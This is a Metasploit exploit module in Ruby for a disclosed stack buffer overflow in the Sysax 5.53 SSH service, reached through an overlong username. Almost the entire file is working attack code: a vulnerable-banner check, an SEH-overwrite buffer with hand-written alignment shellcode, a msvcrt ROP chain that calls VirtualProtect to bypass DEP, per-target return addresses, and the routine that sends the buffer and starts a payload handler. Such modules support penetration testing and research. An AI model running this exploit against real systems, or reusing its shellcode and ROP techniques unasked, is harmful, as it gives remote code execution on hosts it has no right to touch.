##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability found in Sysax's SSH service.  By
          supplying a long username, the SSH server will copy that data on the stack
          without proper bounds checking, therefore allowing remote code execution
          under the context of the user.  Please note that previous versions
          (before 5.53) are also affected by this bug.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Craig Freyman', # Initial discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['OSVDB', '79689'],
          ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
          ['EDB', '18535']
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00\x3a",
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'seh'
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
            {
              'Rop' => false,
              'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
            }
          ],
          [
            'Sysax 5.53 on Win2K3 SP1/SP2',
            {
              'Rop' => true,
              'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-02-27',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [ OptInt.new('RPORT', [false, 'The target port', 22]) ]
    )
  end

  def check
    begin
      connect
      banner = sock.get_once(-1, 5) || ''
      disconnect
      vprint_status("Banner: #{banner}")
      if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
        return Exploit::CheckCode::Appears
      end
    rescue StandardError
      vprint_error('An error has occurred while trying to read a response from target')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def generate_regular_exploit
    #
    # Align the stack to the beginning of the fixed size payload
    #
    align = "\x54" # PUSH ESP
    align << "\x58"              # POP EAX
    align << "\x04\x08"          # ADD AL,0x08
    align << "\x8b\x18"          # MOV EBX, [EAX]
    align << "\x93"              # XCHG EAX,EBX
    align << "\x66\x2d\x10\x04"  # SUB AX,0x361
    align << "\x50"              # PUSH EAX
    align << "\xc3"              # RET

    #
    # Our payload limited to 1024+4 bytes
    #
    p = make_nops(4)
    p << payload.encoded

    #
    # Craft the buffer like this:
    # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
    # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
    #   for the IP length, so the next 9404-byte space will begin at a consistent place.
    # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
    #   partial-overwrite to allow a null byte in SEH.
    #
    buf = ''
    buf << rand_text(392, payload_badchars)
    buf << rand_text(20, payload_badchars)
    buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
    buf << p
    buf << align
    buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
    buf << [target.ret].pack('V*')
    buf
  end

  def generate_rop_exploit
    junk = rand_text(4).unpack('L')[0].to_i
    nop = make_nops(4).unpack('L')[0].to_i

    # !mona rop -m msvcrt
    p =
      [
        0x77bb2563, # POP EAX # RETN
        0x77ba1114, # <- *&VirtualProtect()
        0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
        junk,
        0x77bb0c86, # XCHG EAX,ESI # RETN
        0x77bc9801, # POP EBP # RETN
        0x77be2265, # ptr to 'push esp #  ret'
        0x77bb2563, # POP EAX # RETN
        0x03C0990F,
        0x77bdd441, # SUB EAX, 03c0940f
        0x77bb48d3, # POP EBX, RET
        0x77bf21e0, # .data
        0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
        0x77bbfc02, # POP ECX # RETN
        0x77bef001, # W pointer (lpOldProtect) (-> ecx)
        0x77bd8c04, # POP EDI # RETN
        0x77bd8c05, # ROP NOP (-> edi)
        0x77bb2563, # POP EAX # RETN
        0x03c0984f,
        0x77bdd441, # SUB EAX, 03c0940f
        0x77bb8285, # XCHG EAX,EDX # RETN
        0x77bb2563, # POP EAX # RETN
        nop,
        0x77be6591, # PUSHAD # ADD AL,0EF # RETN
      ].pack('V*')

    p << payload.encoded

    #
    # Similar buffer structure to generate_regular_exploit
    #
    buf = ''
    buf << rand_text(392, payload_badchars)
    buf << rand_text(20, payload_badchars)
    buf << rand_text(1012, payload_badchars)
    buf << p
    buf << rand_text(9204 - buf.length)
    buf << rand_text(4, payload_badchars)
    buf << [target.ret].pack('V*')
    buf
  end

  def exploit
    #
    # Create buffer based on target (DEP or no DEP)
    # If possible, we still prefer to use the regular version because it's more stable
    #
    if target['Rop']
      buf = generate_rop_exploit
    else
      buf = generate_regular_exploit
    end

    #
    # Send the malicious buffer
    #
    pass = rand_text_alpha(8)
    begin
      print_status("Sending malicious request to #{rhost}:#{rport}...")
      factory = ssh_socket_factory
      ssh = Net::SSH.start(
        datastore['RHOST'],
        buf,
        password: pass,
        port: datastore['RPORT'],
        timeout: 1,
        proxy: factory,
        config: false,
        non_interactive: true,
        verify_host_key: :never
      )

      ::Timeout.timeout(1) { ssh.close }
    rescue Errno::ECONNREFUSED
      print_error("Cannot establish a connection on #{rhost}:#{rport}")
      return
    rescue StandardError => e
      if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
        print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
        return
      end
    end

    handler(ssh)
  end
end
